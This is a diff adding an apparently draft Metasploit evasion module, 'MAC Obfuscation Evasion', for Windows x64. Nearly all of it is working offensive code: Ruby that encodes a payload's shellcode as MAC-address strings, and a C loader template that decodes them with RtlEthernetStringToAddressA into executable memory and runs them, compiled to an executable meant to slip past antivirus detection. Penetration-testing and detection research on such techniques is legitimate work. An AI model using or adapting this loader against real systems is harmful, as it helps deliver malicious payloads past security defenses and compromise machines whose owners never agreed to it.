Adds base for MAC-based obfluscation as evasion

modules/evasion/windows/mac_obfluscation_evasion.rb

@@ -0,0 +1,105 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'metasploit/framework/compiler/windows'
+
+class MetasploitModule < Msf::Evasion
+
+  def initialize(info = {})
+    super(
+      merge_info(
+        info,
+        'Name' => 'MAC Obfuscation Evasion',
+        'Description' => %q{
+          TODO
+        },
+        'Author' => [
+          'msutovsky-r7'
+        ],
+        'License' => MSF_LICENSE,
+        'Platform' => 'win',
+        'Arch' => ARCH_X64,
+        'Targets' => [ [ 'Microsoft Windows', {} ] ]
+      )
+    )
+
+    register_options([
+      OptString.new(
+        'FILENAME',
+        [
+          true,
+          'Filename for the evasive file (default: random)',
+          "#{Rex::Text.rand_text_alpha(3..10)}.exe"
+        ]
+      )
+    ])
+  end
+
+  def c_template(payload)
+    @c_template ||= %<
+#include <Windows.h>
+
+typedef NTSTATUS(NTAPI* fnRtlEthernetStringToAddressA)(
+    PCSTR		S,
+    PCSTR* Terminator,
+    PVOID		Addr
+    );
+
+char * buf[] = { #{payload.to_s.gsub!(']', '').gsub!('[', '')} };
+
+int main() {
+    int lpBufSize = #{payload.length} * 6;
+    PCSTR terminator = NULL;
+    PBYTE lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040);
+    memset(lpBuf, 0, lpBufSize);
+    PBYTE tmp = (PBYTE)(lpBuf);
+
+    fnRtlEthernetStringToAddressA fncMacDeobfuscate = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlEthernetStringToAddressA");
+
+    for (int i = 0; i != #{payload.length} ; i+=1) {
+        fncMacDeobfuscate(buf[i], &terminator, (LPCSTR)tmp);
+        tmp = tmp + 6;
+    }
+
+    void (*func)();
+    func = (void (*)()) lpBuf;
+    (void)(*func)();
+    VirtualFree(lpBuf, lpBufSize, NULL);
+    return 0;
+}
+    >
+  end
+
+  def mac_obfluscate(payload)
+    bytes = payload.bytes
+    # Pad to a multiple of 4 bytes
+    remainder = bytes.length % 6
+    bytes += [0] * (6 - remainder) if remainder != 0
+
+    chunks = []
+    bytes.each_slice(6) do |quad|
+      chunks << quad.map { |b| format('%02X', b) }.join('-')
+    end
+    chunks
+  end
+
+  def run
+    # This is used in the ERB template
+
+    cpu = nil
+    case arch
+    when ['x86']
+      cpu = Metasm::Ia32.new
+    when ['x64']
+      cpu = Metasm::X86_64.new
+    else
+      fail_with(Failure::NoTarget, 'Target arch is not compatible')
+    end
+
+    bin = Metasploit::Framework::Compiler::Windows.compile_c(c_template(mac_obfluscate(payload.encoded)), :exe, cpu)
+    print_status("Compiled executable size: #{bin.length}")
+    file_create(bin)
+  end
+end